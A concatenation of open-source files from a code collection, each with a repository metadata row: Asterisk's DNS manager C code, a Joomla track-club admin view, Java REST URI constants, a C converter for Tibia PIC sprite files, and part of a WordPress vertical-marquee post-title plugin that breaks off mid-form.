pthread_testcancel();
usleep((ast_sched_wait(sched)*1000));
pthread_testcancel();
ast_sched_runq(sched);
}
return NULL;
}
static int refresh_list(const void *data)
{
struct refresh_info *info = (struct refresh_info *)data;
struct ast_dnsmgr_entry *entry;
/* if a refresh or reload is already in progress, exit now */
if (ast_mutex_trylock(&refresh_lock)) {
if (info->verbose)
ast_log(LOG_WARNING, "DNS Manager refresh already in progress.\n");
return -1;
}
ast_verb(3, "Refreshing DNS lookups.\n");
AST_RWLIST_RDLOCK(info->entries);
AST_RWLIST_TRAVERSE(info->entries, entry, list) {
if (info->regex_present && regexec(&info->filter, entry->name, 0, NULL, 0))
continue;
dnsmgr_refresh(entry, info->verbose);
}
AST_RWLIST_UNLOCK(info->entries);
ast_mutex_unlock(&refresh_lock);
/* automatically reschedule based on the interval */
return refresh_interval * 1000;
}
void dnsmgr_start_refresh(void)
{
if (refresh_sched > -1) {
AST_SCHED_DEL(sched, refresh_sched);
refresh_sched = ast_sched_add_variable(sched, 100, refresh_list, &master_refresh_info, 1);
}
}
static int do_reload(int loading);
static char *handle_cli_reload(struct ast_cli_entry *e, int cmd, struct ast_cli_args *a)
{
switch (cmd) {
case CLI_INIT:
e->command = "dnsmgr reload";
e->usage =
"Usage: dnsmgr reload\n"
" Reloads the DNS manager configuration.\n";
return NULL;
case CLI_GENERATE:
return NULL;
}
if (a->argc > 2)
return CLI_SHOWUSAGE;
do_reload(0);
return CLI_SUCCESS;
}
static char *handle_cli_refresh(struct ast_cli_entry *e, int cmd, struct ast_cli_args *a)
{
struct refresh_info info = {
.entries = &entry_list,
.verbose = 1,
};
switch (cmd) {
case CLI_INIT:
e->command = "dnsmgr refresh";
e->usage =
"Usage: dnsmgr refresh [pattern]\n"
" Peforms an immediate refresh of the managed DNS entries.\n"
" Optional regular expression pattern is used to filter the entries to refresh.\n";
return NULL;
case CLI_GENERATE:
return NULL;
}
if (!enabled) {
ast_cli(a->fd, "DNS Manager is disabled.\n");
return 0;
}
if (a->argc > 3) {
return CLI_SHOWUSAGE;
}
if (a->argc == 3) {
if (regcomp(&info.filter, a->argv[2], REG_EXTENDED | REG_NOSUB)) {
return CLI_SHOWUSAGE;
} else {
info.regex_present = 1;
}
}
refresh_list(&info);
if (info.regex_present) {
regfree(&info.filter);
}
return CLI_SUCCESS;
}
static char *handle_cli_status(struct ast_cli_entry *e, int cmd, struct ast_cli_args *a)
{
int count = 0;
struct ast_dnsmgr_entry *entry;
switch (cmd) {
case CLI_INIT:
e->command = "dnsmgr status";
e->usage =
"Usage: dnsmgr status\n"
" Displays the DNS manager status.\n";
return NULL;
case CLI_GENERATE:
return NULL;
}
if (a->argc > 2)
return CLI_SHOWUSAGE;
ast_cli(a->fd, "DNS Manager: %s\n", enabled ? "enabled" : "disabled");
ast_cli(a->fd, "Refresh Interval: %d seconds\n", refresh_interval);
AST_RWLIST_RDLOCK(&entry_list);
AST_RWLIST_TRAVERSE(&entry_list, entry, list)
count++;
AST_RWLIST_UNLOCK(&entry_list);
ast_cli(a->fd, "Number of entries: %d\n", count);
return CLI_SUCCESS;
}
static struct ast_cli_entry cli_reload = AST_CLI_DEFINE(handle_cli_reload, "Reloads the DNS manager configuration");
static struct ast_cli_entry cli_refresh = AST_CLI_DEFINE(handle_cli_refresh, "Performs an immediate refresh");
static struct ast_cli_entry cli_status = AST_CLI_DEFINE(handle_cli_status, "Display the DNS manager status");
int dnsmgr_init(void)
{
if (!(sched = sched_context_create())) {
ast_log(LOG_ERROR, "Unable to create schedule context.\n");
return -1;
}
ast_cli_register(&cli_reload);
ast_cli_register(&cli_status);
ast_cli_register(&cli_refresh);
return do_reload(1);
}
int dnsmgr_reload(void)
{
return do_reload(0);
}
static int do_reload(int loading)
{
struct ast_config *config;
struct ast_flags config_flags = { loading ? 0 : CONFIG_FLAG_FILEUNCHANGED };
const char *interval_value;
const char *enabled_value;
int interval;
int was_enabled;
int res = -1;
if ((config = ast_config_load("dnsmgr.conf", config_flags)) == CONFIG_STATUS_FILEUNCHANGED)
return 0;
/* ensure that no refresh cycles run while the reload is in progress */
ast_mutex_lock(&refresh_lock);
/* reset defaults in preparation for reading config file */
refresh_interval = REFRESH_DEFAULT;
was_enabled = enabled;
enabled = 0;
AST_SCHED_DEL(sched, refresh_sched);
if (config) {
if ((enabled_value = ast_variable_retrieve(config, "general", "enable"))) {
enabled = ast_true(enabled_value);
}
if ((interval_value = ast_variable_retrieve(config, "general", "refreshinterval"))) {
if (sscanf(interval_value, "%d", &interval) < 1)
ast_log(LOG_WARNING, "Unable to convert '%s' to a numeric value.\n", interval_value);
else if (interval < 0)
ast_log(LOG_WARNING, "Invalid refresh interval '%d' specified, using default\n", interval);
else
refresh_interval = interval;
}
ast_config_destroy(config);
}
if (enabled && refresh_interval)
ast_log(LOG_NOTICE, "Managed DNS entries will be refreshed every %d seconds.\n", refresh_interval);
/* if this reload enabled the manager, create the background thread
if it does not exist */
if (enabled) {
if (!was_enabled && (refresh_thread == AST_PTHREADT_NULL)) {
if (ast_pthread_create_background(&refresh_thread, NULL, do_refresh, NULL) < 0) {
ast_log(LOG_ERROR, "Unable to start refresh thread.\n");
}
}
/* make a background refresh happen right away */
refresh_sched = ast_sched_add_variable(sched, 100, refresh_list, &master_refresh_info, 1);
res = 0;
}
/* if this reload disabled the manager and there is a background thread,
kill it */
else if (!enabled && was_enabled && (refresh_thread != AST_PTHREADT_NULL)) {
/* wake up the thread so it will exit */
pthread_cancel(refresh_thread);
pthread_kill(refresh_thread, SIGURG);
pthread_join(refresh_thread, NULL);
refresh_thread = AST_PTHREADT_NULL;
res = 0;
}
else
res = 0;
ast_mutex_unlock(&refresh_lock);
manager_event(EVENT_FLAG_SYSTEM, "Reload", "Module: DNSmgr\r\nStatus: %s\r/nMessage: DNSmgr reload Requested\r\n", enabled ? "Enabled" : "Disabled");
return res;
}
| nicwolff/asterisk-agi-mp3 | main/dnsmgr.c | C | gpl-2.0 | 11,631 |
<?php
/*------------------------------------------------------------------------
# view.html.php - TrackClub Component
# ------------------------------------------------------------------------
# author Michael
# copyright Copyright (C) 2014. All Rights Reserved
# license GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html
# website tuscaloosatrackclub.com
-------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
// import Joomla view library
jimport('joomla.application.component.view');
/**
* athletes View
*/
class TrackclubsViewathletes extends JViewLegacy
{
/**
* Athletes view display method
* @return void
*/
function display($tpl = null)
{
// Include helper submenu
TrackclubsHelper::addSubmenu('athletes');
// Get data from the model
$items = $this->get('Items');
$pagination = $this->get('Pagination');
// Check for errors.
if (count($errors = $this->get('Errors'))){
JError::raiseError(500, implode('<br />', $errors));
return false;
};
// Assign data to the view
$this->items = $items;
$this->pagination = $pagination;
// Set the toolbar
$this->addToolBar();
// Show sidebar
$this->sidebar = JHtmlSidebar::render();
// Display the template
parent::display($tpl);
// Set the document
$this->setDocument();
}
/**
* Setting the toolbar
*/
protected function addToolBar()
{
$canDo = TrackclubsHelper::getActions();
JToolBarHelper::title(JText::_('Trackclubs Manager'), 'trackclubs');
if($canDo->get('core.create')){
JToolBarHelper::addNew('athlete.add', 'JTOOLBAR_NEW');
};
if($canDo->get('core.edit')){
JToolBarHelper::editList('athlete.edit', 'JTOOLBAR_EDIT');
};
if($canDo->get('core.delete')){
JToolBarHelper::deleteList('', 'athletes.delete', 'JTOOLBAR_DELETE');
};
if($canDo->get('core.admin')){
JToolBarHelper::divider();
JToolBarHelper::preferences('com_trackclubs');
};
}
/**
* Method to set up the document properties
*
*
* @return void
*/
protected function setDocument()
{
$document = JFactory::getDocument();
$document->setTitle(JText::_('Trackclubs Manager - Administrator'));
}
}
?> | mstewartua/newprod | administrator/components/com_trackclubs/views/athletes/view.html.php | PHP | gpl-2.0 | 2,263 |
package com.nilsonmassarenti.app.currencyfair.model;
/**
* This class is to manager URL of Rest.
* @author nilsonmassarenti - [email protected]
* @version 0.1
* Last update: 03-Mar-2015 12:20 am
*/
public class CurrencyFairURI {
public static final String DUMMY_BP = "/rest/currencyfair/dummy";
public static final String GET_CURRENCY_FAIR = "/rest/currencyfair/get/{id}";
public static final String GET_ALL_CURRENCY_FAIR = "/rest/currencyfairs";
public static final String CREATE_CURRENCY_FAIR = "/rest/currencyfair/create";
public static final String DELETE_CURRENCY_FAIR = "/rest/currencyfair/delete/{id}";
}
| nilsonmassarenti/currencyfair | currencyfair/src/main/java/com/nilsonmassarenti/app/currencyfair/model/CurrencyFairURI.java | Java | gpl-2.0 | 632 |
/* pictool: ANSI C converter for Tibia's PIC files
* (c) 2007-2009 Ivan Vucica
* Part of OpenTibia project
*
* Although written in ANSI C, this makes use of #pragma pack(),
* make sure your compiler supports packed structures, or else.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
/* Headers */
#include <stdio.h>
#include <stdlib.h>
#include <SDL/SDL.h>
#include <errno.h>
#if !_MSC_VER
#include <unistd.h>
#endif
#if !BAZEL_BUILD
#include "../../sprdata.h"
#else
#include "sprdata.h"
#endif
#include "picfuncs.h"
#pragma pack(1)
typedef struct {
uint32_t signature;
uint16_t imgcount;
} fileheader_t;
typedef struct {
uint8_t width, height;
uint8_t unk1, unk2, unk3; /* FIXME (ivucica#4#) zerocoolz says this should be colorkey, according to http://otfans.net/showpost.php?p=840634&postcount=134 */
} picheader_t;
#pragma pack()
static int filesize (FILE* f) {
int loc = ftell(f);
int size = 0;
fseek(f, 0, SEEK_END);
size = ftell(f);
fseek(f, loc, SEEK_SET);
return size;
}
int writesprite (FILE *f, SDL_Surface *s, int offx, int offy, uint16_t *datasize) {
return writeSprData(f, s, offx, offy, datasize);
}
int readsprite (FILE *f, uint32_t sprloc, SDL_Surface *s, int offx, int offy) {
int oldloc = ftell(f);
int r;
fseek(f, sprloc, SEEK_SET);
r = readSprData(f, s, offx, offy);
fseek(f, oldloc, SEEK_SET);
return r;
}
int picdetails (const char* filename) {
FILE *f;
int i,j,k;
fileheader_t fh;
picheader_t ph;
uint32_t sprloc;
f = fopen(filename, "rb");
printf("information for %s\n", filename);
if (!f)
return -1;
fread(&fh, sizeof(fh), 1, f);
printf("signature %d\n", fh.signature);
printf("imagecount %d\n", fh.imgcount);
for(i = 0; i < fh.imgcount ; i++){
fread(&ph, sizeof(ph), 1, f);
printf("img%d width %d height %d bg rgb #%02x%02x%02x\n", i, ph.width, ph.height, ph.unk1, ph.unk2, ph.unk3);
for(j = 0; j<ph.height; j++){
for(k = 0; k < ph.width; k++){
fread(&sprloc, sizeof(sprloc), 1, f);
printf("sprite img %d x %d y %d location %d\n", i,k,j,sprloc);
}
}
}
return 0;
}
int dumperror_stderr(char* txt, ...)
{
va_list vl;
va_start(vl, txt);
int r = vfprintf(stderr, txt, vl);
va_end(vl);
return r;
}
int (*pictool_dumperror)(char*,...) = dumperror_stderr;
int writepic(const char* filename, int index, SDL_Surface *s){
FILE *fi, *fo;
fileheader_t fh;
picheader_t ph;
uint32_t sprloc, sproffset;
size_t continuationposi, continuationposo;
uint16_t datasize;
void *data;
int i,j,k;
fi = fopen(filename, "rb");
fo = fopen("__tmp__.pic","wb+");
if (!fi || !fo)
return -1;
fread(&fh, sizeof(fh), 1, fi);
fwrite(&fh, sizeof(fh), 1, fo);
sproffset = fh.imgcount * (sizeof(ph)+1)-2;
for(i = 0; i < fh.imgcount; i++){
fread(&ph, sizeof(ph), 1, fi);
if(i == index){
ph.width = s->w / 32;
ph.height = s->h / 32;
}
sproffset += ph.width * ph.height * 4;
fseek(fi, ph.width*ph.height*4, SEEK_CUR);
}
fseek(fi, sizeof(fh), SEEK_SET);
for(i = 0; i < fh.imgcount; i++){
fread(&ph, sizeof(ph), 1, fi);
if(i != index){
if(!ph.width || !ph.height){
fprintf(stderr, "pictool: width or height are 0\n");
return (10);
}
fwrite(&ph, sizeof(ph), 1, fo);
for(j=0; j < ph.width * ph.height; j++){
fread(&sprloc, sizeof(sprloc), 1, fi);
if(sproffset > 4000000){
dumperror_stderr("pictool: infinite loop\n");
exit(8);
}
if(sprloc > filesize(fi)){
dumperror_stderr("pictool: bad spr pointer\n");
exit(9);
}
fwrite(&sproffset, sizeof(sproffset), 1, fo);
continuationposi = ftell(fi);
continuationposo = ftell(fo);
fseek(fi, sprloc, SEEK_SET);
fseek(fo, sproffset, SEEK_SET);
fread(&datasize, sizeof(datasize), 1, fi);
fwrite(&datasize, sizeof(datasize), 1, fo);
data = malloc(datasize+2);
if(!data){
dumperror_stderr("pictool: allocation problem\n");
return (7);
}
fread(data, datasize+2, 1, fi);
fwrite(data, datasize+2, 1, fo);
free(data);
fseek(fo, continuationposo, SEEK_SET);
fseek(fi, continuationposi, SEEK_SET);
sproffset += datasize+2; // 2 == space for datasize
}
fflush(fo);
}
else{
fseek(fi, ph.width*ph.height*4, SEEK_CUR);
ph.width = s->w / 32; ph.height = s->h / 32;
fwrite(&ph, sizeof(ph), 1, fo);
for(j = 0; j < ph.height; j++){
for(k = 0; k < ph.width; k++){
/*printf("Placing %d %d on %d\n", j, k, sproffset);*/
fwrite(&sproffset, sizeof(sproffset), 1, fo);
continuationposo = ftell(fo);
fseek(fo, sproffset, SEEK_SET);
writesprite(fo, s, k * 32, j*32, &datasize);
/*printf("Its size is: %d\n", datasize);*/
fseek(fo, continuationposo, SEEK_SET);
sproffset += datasize+2;
}
}
fflush(fo);
}
}
fclose(fo);
fclose(fi);
if(rename("__tmp__.pic", filename)){
if (errno == 17) {// file exists
if(unlink(filename)) {
if (errno != 2)
return 93;
}
if(rename("__tmp__.pic", filename)){
return 92;
}
} else {
return 92;
}
}
return 0;
}
int readpic (const char* filename, int index, SDL_Surface **sr) {
/* index >= -1; -1 means that we should print out details */
SDL_Surface *s=NULL;
FILE *f;
int i,j,k;
fileheader_t fh;
picheader_t ph;
uint32_t sprloc;
uint32_t magenta;
f = fopen(filename, "rb");
if (!f)
return -1;
fread(&fh,sizeof(fh),1,f);
for(i = 0; i < fh.imgcount && i <= index; i++){
fread(&ph, sizeof(ph), 1, f);
if(i == index){
s = SDL_CreateRGBSurface(SDL_SWSURFACE, ph.width*32, ph.height*32, 32, 0xFF, 0xFF00, 0xFF0000, 0xFF000000);
if(!s){
printf("CreateRGBSurface failed: %s\n", SDL_GetError());
return -1;
}
magenta = SDL_MapRGB(s->format, 255, 0, 255);
SDL_FillRect(s, NULL, magenta);
/* FIXME (ivucica#4#) Above statement is potentially unportable to architectures with
* different endianess. Lilliputtans would be happier if we took a look at SDL
* docs and corrected this. */
for(j = 0; j < ph.height; j++){
for(k = 0; k < ph.width; k++){
fread(&sprloc, sizeof(sprloc), 1, f);
dbgprintf(":: reading sprite at pos %d %d\n", j, k);
if(readsprite(f, sprloc, s, k*32, j*32)){ /* TODO (ivucica#1#) cleanup sdl surface upon error */
return -1;
}
}
}
}
else{
fseek(f, sizeof(sprloc)*ph.height*ph.width, SEEK_CUR);
}
}
fclose(f);
*sr = s;
return 0;
}
| opentibia/yatc | tools/pictool/picfuncs.c | C | gpl-2.0 | 7,210 |
<?php
/*
Plugin Name: Vertical marquee post title
Description: This plug-in will create the vertical marquee effect in your website, if you want your post title to move vertically (scroll upward or downwards) in the screen use this plug-in.
Author: Gopi Ramasamy
Version: 2.5
Plugin URI: http://www.gopiplus.com/work/2012/09/02/vertical-marquee-post-title-wordpress-plugin/
Author URI: http://www.gopiplus.com/work/2012/09/02/vertical-marquee-post-title-wordpress-plugin/
Donate link: http://www.gopiplus.com/work/2012/09/02/vertical-marquee-post-title-wordpress-plugin/
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
function vmptshow()
{
$vmpt_setting = get_option('vmpt_setting');
$array = array("setting" => $vmpt_setting);
echo vmpt_shortcode($array);
}
function vmpt_shortcode( $atts )
{
global $wpdb;
$vmpt_marquee = "";
$vmpt = "";
$link = "";
//[vmpt setting="1"]
if ( ! is_array( $atts ) ) { return ''; }
$setting = $atts['setting'];
switch ($setting)
{
case 1:
$vmpt_setting = get_option('vmpt_setting1');
break;
case 2:
$vmpt_setting = get_option('vmpt_setting2');
break;
case 3:
$vmpt_setting = get_option('vmpt_setting3');
break;
case 4:
$vmpt_setting = get_option('vmpt_setting4');
break;
default:
$vmpt_setting = get_option('vmpt_setting1');
}
@list($vmpt_scrollamount, $vmpt_scrolldelay, $vmpt_direction, $vmpt_style, $vmpt_noofpost, $vmpt_categories, $vmpt_orderbys, $vmpt_order, $vmpt_spliter) = explode("~~", @$vmpt_setting);
if(!is_numeric($vmpt_scrollamount)){ $vmpt_scrollamount = 2; }
if(!is_numeric($vmpt_scrolldelay)){ $vmpt_scrolldelay = 5; }
if(!is_numeric($vmpt_noofpost)){ $vmpt_noofpost = 10; }
$sSql = query_posts('cat='.$vmpt_categories.'&orderby='.$vmpt_orderbys.'&order='.$vmpt_order.'&showposts='.$vmpt_noofpost);
if ( ! empty($sSql) )
{
$count = 0;
foreach ( $sSql as $sSql )
{
$title = stripslashes($sSql->post_title);
$link = get_permalink($sSql->ID);
if($count==0)
{
if($link != "") { $vmpt = $vmpt . "<a target='' href='".$link."'>"; }
$vmpt = $vmpt . $title;
if($link != "") { $vmpt = $vmpt . "</a>"; }
}
else
{
$vmpt = $vmpt . " <br /><br /> ";
if($link != "") { $vmpt = $vmpt . "<a target='' href='".$link."'>"; }
$vmpt = $vmpt . $title;
if($link != "") { $vmpt = $vmpt . "</a>"; }
}
$count = $count + 1;
}
}
else
{
$vmpt = __('No records found.', 'vertical-marquee-post-title');
}
wp_reset_query();
$vmpt_marquee = $vmpt_marquee . "<div style='padding:3px;' class='vmpt_marquee'>";
$vmpt_marquee = $vmpt_marquee . "<marquee style='$vmpt_style' scrollamount='$vmpt_scrollamount' scrolldelay='$vmpt_scrolldelay' direction='$vmpt_direction' onmouseover='this.stop()' onmouseout='this.start()'>";
$vmpt_marquee = $vmpt_marquee . $vmpt;
$vmpt_marquee = $vmpt_marquee . "</marquee>";
$vmpt_marquee = $vmpt_marquee . "</div>";
return $vmpt_marquee;
}
function vmpt_install()
{
add_option('vmpt_title', "Marquee post title");
add_option('vmpt_setting', "1");
add_option('vmpt_setting1', "2~~5~~up~~height:100px;~~10~~~~ID~~DESC");
add_option('vmpt_setting2', "2~~5~~up~~color:#FF0000;font:Arial;height:100px;~~10~~~~ID~~DESC");
add_option('vmpt_setting3', "2~~5~~down~~color:#FF0000;font:Arial;height:120px;~~10~~~~title~~DESC");
add_option('vmpt_setting4', "2~~5~~down~~color:#FF0000;font:Arial;height:140px;~~10~~~~rand~~DESC");
}
function vmpt_deactivation()
{
// No action required.
}
function vmpt_option()
{
?>
<div class="wrap">
<div class="form-wrap">
<div id="icon-edit" class="icon32 icon32-posts-post"><br>
</div>
<h2><?php _e('Vertical marquee post title', 'vertical-marquee-post-title'); ?></h2>
<?php
global $wpdb;
$vmpt_setting1 = get_option('vmpt_setting1');
$vmpt_setting2 = get_option('vmpt_setting2');
$vmpt_setting3 = get_option('vmpt_setting3');
$vmpt_setting4 = get_option('vmpt_setting4');
list($a1, $b1, $c1, $d1, $e1, $f1, $g1, $h1) = explode("~~", $vmpt_setting1);
list($a2, $b2, $c2, $d2, $e2, $f2, $g2, $h2) = explode("~~", $vmpt_setting2);
list($a3, $b3, $c3, $d3, $e3, $f3, $g3, $h3) = explode("~~", $vmpt_setting3);
list($a4, $b4, $c4, $d4, $e4, $f4, $g4, $h4) = explode("~~", $vmpt_setting4);
if (isset($_POST['vmpt_submit']))
{
// Just security thingy that wordpress offers us
check_admin_referer('vmpt_form_setting');
$a1 = stripslashes($_POST['vmpt_scrollamount1']);
$b1 = stripslashes($_POST['vmpt_scrolldelay1']);
$c1 = stripslashes($_POST['vmpt_direction1']);
$d1 = stripslashes($_POST['vmpt_style1']);
$e1 = stripslashes($_POST['vmpt_noofpost1']);
$f1 = stripslashes($_POST['vmpt_categories1']);
$g1 = stripslashes($_POST['vmpt_orderbys1']);
$h1 = stripslashes($_POST['vmpt_order1']);
$a2 = stripslashes($_POST['vmpt_scrollamount2']);
$b2 = stripslashes($_POST['vmpt_scrolldelay2']);
$c2 = stripslashes($_POST['vmpt_direction2']);
$d2 = stripslashes($_POST['vmpt_style2']);
$e2 = stripslashes($_POST['vmpt_noofpost2']);
$f2 = stripslashes($_POST['vmpt_categories2']);
$g2 = stripslashes($_POST['vmpt_orderbys2']);
$h2 = stripslashes($_POST['vmpt_order2']);
$a3 = stripslashes($_POST['vmpt_scrollamount3']);
$b3 = stripslashes($_POST['vmpt_scrolldelay3']);
$c3 = stripslashes($_POST['vmpt_direction3']);
$d3 = stripslashes($_POST['vmpt_style3']);
$e3 = stripslashes($_POST['vmpt_noofpost3']);
$f3 = stripslashes($_POST['vmpt_categories3']);
$g3 = stripslashes($_POST['vmpt_orderbys3']);
$h3 = stripslashes($_POST['vmpt_order3']);
$a4 = stripslashes($_POST['vmpt_scrollamount4']);
$b4 = stripslashes($_POST['vmpt_scrolldelay4']);
$c4 = stripslashes($_POST['vmpt_direction4']);
$d4 = stripslashes($_POST['vmpt_style4']);
$e4 = stripslashes($_POST['vmpt_noofpost4']);
$f4 = stripslashes($_POST['vmpt_categories4']);
$g4 = stripslashes($_POST['vmpt_orderbys4']);
$h4 = stripslashes($_POST['vmpt_order4']);
update_option('vmpt_setting1', @$a1 . "~~" . @$b1 . "~~" . @$c1 . "~~" . @$d1 . "~~" . @$e1 . "~~" . @$f1 . "~~" . @$g1 . "~~" . @$h1 . "~~" . @$i1 );
update_option('vmpt_setting2', @$a2 . "~~" . @$b2 . "~~" . @$c2 . "~~" . @$d2 . "~~" . @$e2 . "~~" . @$f2 . "~~" . @$g2 . "~~" . @$h2 . "~~" . @$i2 );
update_option('vmpt_setting3', @$a3 . "~~" . @$b3 . "~~" . @$c3 . "~~" . @$d3 . "~~" . @$e3 . "~~" . @$f3 . "~~" . @$g3 . "~~" . @$h3 . "~~" . @$i3 );
update_option('vmpt_setting4', @$a4 . "~~" . @$b4 . "~~" . @$c4 . "~~" . @$d4 . "~~" . @$e4 . "~~" . @$f4 . "~~" . @$g4 . "~~" . @$h4 . "~~" . @$i4 );
?>
<div class="updated fade">
<p><strong><?php _e('Details successfully updated.', 'vertical-marquee-post-title'); ?></strong></p>
</div>
<?php
}
echo '<form name="vmpt_form" method="post" action="">';
?>
<table width="800" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><?php
echo '<h3>'.__('Setting 1', 'vertical-marquee-post-title').'</h3>';
echo '<p>'.__('Scroll amount :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $a1 . '" name="vmpt_scrollamount1" id="vmpt_scrollamount1" /></p>';
echo '<p>'.__('Scroll delay :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $b1 . '" name="vmpt_scrolldelay1" id="vmpt_scrolldelay1" /></p>';
echo '<p>'.__('Scroll direction :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $c1 . '" name="vmpt_direction1" id="vmpt_direction1" /> '.__('(Up / Down)', 'vertical-marquee-post-title').'</p>';
echo '<p>'.__('Scroll style :', 'vertical-marquee-post-title').'<br><input style="width: 250px;" type="text" value="';
echo $d1 . '" name="vmpt_style1" id="vmpt_style1" /></p>';
echo '<p>'.__('Number of post :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $e1 . '" name="vmpt_noofpost1" id="vmpt_noofpost1" /></p>';
echo '<p>'.__('Post categories :', 'vertical-marquee-post-title').'<br><input style="width: 200px;" type="text" value="';
echo $f1 . '" name="vmpt_categories1" id="vmpt_categories1" /> (Example: 1, 3, 4) <br> '.__('Category IDs, separated by commas.', 'vertical-marquee-post-title').'</p>';
echo '<p>'.__('Post orderbys :', 'vertical-marquee-post-title').'<br><input style="width: 200px;" type="text" value="';
echo $g1 . '" name="vmpt_orderbys1" id="vmpt_orderbys1" /> '.__('(Any 1 from below list)', 'vertical-marquee-post-title').' <br> ID / author / title / rand / date / category / modified</p>';
echo '<p>'.__('Post order :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $h1 . '" name="vmpt_order1" id="vmpt_order1" /> ASC/DESC </p>';
?>
</td>
<td><?php
echo '<h3>'.__('Setting 2', 'vertical-marquee-post-title').'</h3>';
echo '<p>'.__('Scroll amount :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $a2 . '" name="vmpt_scrollamount2" id="vmpt_scrollamount2" /></p>';
echo '<p>'.__('Scroll delay :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $b2 . '" name="vmpt_scrolldelay2" id="vmpt_scrolldelay2" /></p>';
echo '<p>'.__('Scroll direction :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $c2 . '" name="vmpt_direction2" id="vmpt_direction2" /> '.__('(Up / Down)', 'vertical-marquee-post-title').'</p>';
echo '<p>'.__('Scroll style :', 'vertical-marquee-post-title').'<br><input style="width: 250px;" type="text" value="';
echo $d2 . '" name="vmpt_style2" id="vmpt_style2" /></p>';
echo '<p>'.__('Number of post :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $e2 . '" name="vmpt_noofpost2" id="vmpt_noofpost2" /></p>';
echo '<p>'.__('Post categories :', 'vertical-marquee-post-title').'<br><input style="width: 200px;" type="text" value="';
echo $f2 . '" name="vmpt_categories2" id="vmpt_categories2" /> (Example: 1, 3, 4) <br> '.__('Category IDs, separated by commas.', 'vertical-marquee-post-title').'</p>';
echo '<p>'.__('Post orderbys :', 'vertical-marquee-post-title').'<br><input style="width: 200px;" type="text" value="';
echo $g2 . '" name="vmpt_orderbys2" id="vmpt_orderbys2" /> '.__('(Any 1 from below list)', 'vertical-marquee-post-title').' <br> ID / author / title / rand / date / category / modified</p>';
echo '<p>'.__('Post order :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $h2 . '" name="vmpt_order2" id="vmpt_order2" /> ASC/DESC </p>';
?>
</td>
</tr>
<tr>
<td><?php
echo '<h3>'.__('Setting 3', 'vertical-marquee-post-title').'</h3>';
echo '<p>'.__('Scroll amount :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $a3 . '" name="vmpt_scrollamount3" id="vmpt_scrollamount3" /></p>';
echo '<p>'.__('Scroll delay :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $b3 . '" name="vmpt_scrolldelay3" id="vmpt_scrolldelay3" /></p>';
echo '<p>'.__('Scroll direction :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $c3 . '" name="vmpt_direction3" id="vmpt_direction3" /> '.__('(Up / Down)', 'vertical-marquee-post-title').'</p>';
echo '<p>'.__('Scroll style :', 'vertical-marquee-post-title').'<br><input style="width: 250px;" type="text" value="';
echo $d3 . '" name="vmpt_style3" id="vmpt_style3" /></p>';
echo '<p>'.__('Number of post :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $e3 . '" name="vmpt_noofpost3" id="vmpt_noofpost3" /></p>';
echo '<p>'.__('Post categories :', 'vertical-marquee-post-title').'<br><input style="width: 200px;" type="text" value="';
echo $f3 . '" name="vmpt_categories3" id="vmpt_categories3" /> (Example: 1, 3, 4) <br> '.__('Category IDs, separated by commas.', 'vertical-marquee-post-title').'</p>';
echo '<p>'.__('Post orderbys :', 'vertical-marquee-post-title').'<br><input style="width: 200px;" type="text" value="';
echo $g3 . '" name="vmpt_orderbys3" id="vmpt_orderbys3" /> '.__('(Any 1 from below list)', 'vertical-marquee-post-title').' <br> ID / author / title / rand / date / category / modified</p>';
echo '<p>'.__('Post order :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $h3 . '" name="vmpt_order3" id="vmpt_order3" /> ASC/DESC </p>';
?>
</td>
<td><?php
echo '<h3>'.__('Setting 4', 'vertical-marquee-post-title').'</h3>';
echo '<p>'.__('Scroll amount :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $a4 . '" name="vmpt_scrollamount4" id="vmpt_scrollamount4" /></p>';
echo '<p>'.__('Scroll delay :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $b4 . '" name="vmpt_scrolldelay4" id="vmpt_scrolldelay4" /></p>';
echo '<p>'.__('Scroll direction :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $c4 . '" name="vmpt_direction4" id="vmpt_direction4" /> '.__('(Up / Down)', 'vertical-marquee-post-title').'</p>';
echo '<p>'.__('Scroll style :', 'vertical-marquee-post-title').'<br><input style="width: 250px;" type="text" value="';
echo $d4 . '" name="vmpt_style4" id="vmpt_style4" /></p>';
echo '<p>'.__('Number of post :', 'vertical-marquee-post-title').'<br><input style="width: 100px;" type="text" value="';
echo $e4 . '" name="vmpt_noofpost4" id="vmpt_noofpost4" /></p>';
echo '<p>'.__('Post categories :', 'vertical-marquee-post-title').'<br><input style="width: 200px;" type="text" value="';
echo $f4 . '" name="vmpt_categories4" id="vmpt_categories4" /> (Example: 1, 3, 4) <br> '.__('Category IDs, separated by commas.', 'vertical-marquee-post-title').'</p>';
